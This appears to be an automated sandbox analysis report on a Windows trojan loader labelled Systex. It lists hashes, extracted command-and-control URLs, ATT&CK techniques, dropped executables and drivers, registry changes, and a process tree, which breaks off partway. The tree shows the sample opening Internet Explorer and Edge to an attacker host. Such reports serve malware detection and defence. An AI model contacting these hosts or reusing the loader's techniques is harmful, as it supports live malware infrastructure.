systex | 2327198ec9b0010a560bbce2dbe1001c0a2051082abbbad52afd42b8a10ca635

Analysis

max time kernel
150s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 18:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260717-xff2cafs3t
SHA256 2327198ec9b0010a560bbce2dbe1001c0a2051082abbbad52afd42b8a10ca635
MD5 8cb22fda79e2629293fba59708ef1d66
SHA1 1f55e4b148ba204731c567cd191010025e800abc
SHA512 7b23a786722103739a847007cbde4b5ee88b08970d3ae9275b28e5b83154a68269334a82c7f4561b953136ae4639c9273da9cf715e387c54f73ab666fb847bfd
SSDEEP 3072:vJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:vghLQ0sQmpcF8BzXfwVfAI
TLSH
T169344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
2616	CP.exe
1688	mkfzxsnhcx.exe
1088	CP.exe
4624	CP.exe
4160	i_mkfzxsnhcx.exe
1276	spkfcausmk.sys
1320	CP.exe
4660	mkfcxjhfzx.exe
4116	CP.exe
1740	CP.exe
3744	i_mkfcxjhfzx.exe
2872	czurmkecwu.sys
3884	CP.exe
4108	urpjhbzxrp.exe
2520	CP.exe
5704	CP.exe
4908	i_urpjhbzxrp.exe
4340	pjhbztrpjh.sys
4996	CP.exe
2164	jhbztromge.exe
2052	CP.exe
4160	CP.exe
1276	i_jhbztromge.exe
2660	trojhtrljg.sys
4464	CP.exe
4916	dbztrljgby.exe
4852	CP.exe
636	CP.exe
4440	i_dbztrljgby.exe
3744	igbywqojge.sys
5888	CP.exe
3436	jgbytigdbv.exe
5940	CP.exe
4640	CP.exe
1572	i_jgbytigdbv.exe
5880	jdbytqlidb.sys
1660	CP.exe
3412	daysqlfdyv.exe
3768	CP.exe
628	CP.exe
4500	i_daysqlfdyv.exe
4708	davtnlfdxv.sys
4808	CP.exe
1012	davtnlfdxv.exe
5356	CP.exe
1436	CP.exe
560	i_davtnlfdxv.exe
4976	ifdavsqkif.sys
204	CP.exe
3180	avsnkfdxvp.exe
5348	CP.exe
1764	CP.exe
5848	i_avsnkfdxvp.exe
2528	cxusnkfdxv.sys
1664	CP.exe
3928	axspkicxup.exe
6096	CP.exe
4328	CP.exe
5208	i_axspkicxup.exe
1784	zxrpkhczxr.sys
1736	CP.exe
560	xusmkeczxu.exe
1260	CP.exe
5344	CP.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1666860982\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1900353478\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1900353478\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1343156742\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1343156742\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1648847185\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1648847185\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1648847185\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4872_1648847185\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkfzxsnhcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkfcxjhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	daysqlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xusmkeczxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojhbytrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urpjhbzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbytigdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xusmkeczxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytqljdbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytqljdbytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axspkicxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojhbytrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvqnligay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axspkicxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vpnhfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhbzurmkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhbzurmkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbztrljgby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_daysqlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywuomjeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvqnligay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_caxvpmhfca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkfzxsnhcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkfcxjhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbztrljgby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywuomjeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urpjhbzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztromge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	davtnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_davtnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vpnhfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbytigdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	caxvpmhfca.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4212	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2484	ipconfig.exe
4320	ipconfig.exe
3312	ipconfig.exe
4860	ipconfig.exe
2480	ipconfig.exe
3956	ipconfig.exe
4704	ipconfig.exe
4224	ipconfig.exe
6124	ipconfig.exe
2084	ipconfig.exe
2072	ipconfig.exe
1988	ipconfig.exe
4764	ipconfig.exe
1556	ipconfig.exe
3204	ipconfig.exe
1988	ipconfig.exe
2404	ipconfig.exe
5828	ipconfig.exe
1976	ipconfig.exe
2336	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134287876611204154"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2301830172-776172150-2531349243-1000\{88134B19-0DAE-4AE3-8CE3-591EB6310AEC}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
1688	mkfzxsnhcx.exe
1688	mkfzxsnhcx.exe
1688	mkfzxsnhcx.exe
1688	mkfzxsnhcx.exe
1688	mkfzxsnhcx.exe
1688	mkfzxsnhcx.exe
1688	mkfzxsnhcx.exe
1688	mkfzxsnhcx.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4872	msedge.exe
4872	msedge.exe
4872	msedge.exe
4872	msedge.exe
4872	msedge.exe
4872	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4160	i_mkfzxsnhcx.exe
Token: SeDebugPrivilege	3744	i_mkfcxjhfzx.exe
Token: SeDebugPrivilege	4908	i_urpjhbzxrp.exe
Token: SeDebugPrivilege	1276	i_jhbztromge.exe
Token: SeDebugPrivilege	4440	i_dbztrljgby.exe
Token: SeDebugPrivilege	1572	i_jgbytigdbv.exe
Token: SeDebugPrivilege	4500	i_daysqlfdyv.exe
Token: SeDebugPrivilege	560	i_davtnlfdxv.exe
Token: SeDebugPrivilege	5848	i_avsnkfdxvp.exe
Token: SeDebugPrivilege	5208	i_axspkicxup.exe
Token: SeDebugPrivilege	4460	i_xusmkeczxu.exe
Token: SeDebugPrivilege	1364	i_hbztrmjecw.exe
Token: SeDebugPrivilege	5692	i_geywuomjeb.exe
Token: SeDebugPrivilege	6124	i_rojhbytrlj.exe
Token: SeDebugPrivilege	5924	i_ytqljdbytr.exe
Token: SeDebugPrivilege	4676	i_dxvqnligay.exe
Token: SeDebugPrivilege	5492	i_vpnhfdxvpn.exe
Token: SeDebugPrivilege	2896	i_faxsqkicau.exe
Token: SeDebugPrivilege	4676	i_caxvpmhfca.exe
Token: SeDebugPrivilege	4760	i_pjhbzurmkh.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4872	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3424 wrote to memory of 4300	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 3424 wrote to memory of 5688	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 5688 wrote to memory of 5520	5688	iexplore.exe	91
PID 4300 wrote to memory of 4872	4300	iexplore.exe	92
PID 4872 wrote to memory of 4780	4872	msedge.exe	93
PID 4872 wrote to memory of 4212	4872	msedge.exe	94
PID 4872 wrote to memory of 5020	4872	msedge.exe	95
PID 4872 wrote to memory of 5020	4872	msedge.exe	95
PID 4872 wrote to memory of 5020	4872	msedge.exe	95
PID 4872 wrote to memory of 5004	4872	msedge.exe	96
PID 4872 wrote to memory of 5004	4872	msedge.exe	96
PID 4872 wrote to memory of 5848	4872	msedge.exe	98
PID 4872 wrote to memory of 5848	4872	msedge.exe	98
PID 4872 wrote to memory of 5848	4872	msedge.exe	98
PID 4872 wrote to memory of 4344	4872	msedge.exe	99
PID 4872 wrote to memory of 4344	4872	msedge.exe	99
PID 4872 wrote to memory of 4344	4872	msedge.exe	99
PID 4872 wrote to memory of 252	4872	msedge.exe	100
PID 4872 wrote to memory of 252	4872	msedge.exe	100
PID 4872 wrote to memory of 252	4872	msedge.exe	100
PID 4872 wrote to memory of 3304	4872	msedge.exe	101
PID 4872 wrote to memory of 2924	4872	msedge.exe	102
PID 4872 wrote to memory of 3304	4872	msedge.exe	101
PID 4872 wrote to memory of 3304	4872	msedge.exe	101
PID 4872 wrote to memory of 2924	4872	msedge.exe	102
PID 4872 wrote to memory of 2924	4872	msedge.exe	102
PID 4872 wrote to memory of 4328	4872	msedge.exe	103
PID 4872 wrote to memory of 4328	4872	msedge.exe	103
PID 3424 wrote to memory of 2616	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	105
PID 1688 wrote to memory of 1088	1688	mkfzxsnhcx.exe	108
PID 4872 wrote to memory of 4524	4872	msedge.exe	111
PID 4872 wrote to memory of 3524	4872	msedge.exe	112
PID 4872 wrote to memory of 4524	4872	msedge.exe	111
PID 4872 wrote to memory of 3524	4872	msedge.exe	112
PID 4872 wrote to memory of 2804	4872	msedge.exe	114
PID 4872 wrote to memory of 1204	4872	msedge.exe	117
PID 4872 wrote to memory of 1204	4872	msedge.exe	117
PID 4872 wrote to memory of 2964	4872	msedge.exe	118
PID 4872 wrote to memory of 2964	4872	msedge.exe	118
PID 3424 wrote to memory of 4624	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	119
PID 3424 wrote to memory of 1320	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 4660 wrote to memory of 4116	4660	mkfcxjhfzx.exe	125
PID 3424 wrote to memory of 1740	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 3424 wrote to memory of 3884	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 4108 wrote to memory of 2520	4108	urpjhbzxrp.exe	134
PID 3424 wrote to memory of 5704	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 3424 wrote to memory of 4996	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 2164 wrote to memory of 2052	2164	jhbztromge.exe	143
PID 3424 wrote to memory of 4160	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 4872 wrote to memory of 3900	4872	msedge.exe	149
PID 4872 wrote to memory of 836	4872	msedge.exe	150
PID 4872 wrote to memory of 3632	4872	msedge.exe	151
PID 3424 wrote to memory of 4464	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 4916 wrote to memory of 4852	4916	dbztrljgby.exe	156
PID 3424 wrote to memory of 636	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	159
PID 3424 wrote to memory of 5888	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 3436 wrote to memory of 5940	3436	jgbytigdbv.exe	165
PID 3424 wrote to memory of 4640	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	168
PID 3424 wrote to memory of 1660	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 3412 wrote to memory of 3768	3412	daysqlfdyv.exe	174
PID 3424 wrote to memory of 628	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	177
PID 3424 wrote to memory of 4808	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 1012 wrote to memory of 5356	1012	davtnlfdxv.exe	183
PID 3424 wrote to memory of 1436	3424	2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe	186

C:\Users\Admin\AppData\Local\Temp\2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_8cb22fda79e2629293fba59708ef1d66_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2c8,0x390,0x7ffaca48c188,0x7ffaca48c194,0x7ffaca48c1a0
      4⤵
      PID:4780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2144,i,5540276347439224593,13358109891708873797,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:11
      4⤵
      System Time Discovery
      PID:4212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1964,i,13743123748952520983,7480909516687662064,262144 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:2
      4⤵
      PID:5020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2652,i,7264744257695324690,11197804946742584422,524288 --field-trial-handle=2404,i,976482364753806775,8585246198806819518,262144 --variations-seed-version --mojo-platform-channel-handle=2884 /prefetch:13
      4⤵
      PID:5004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
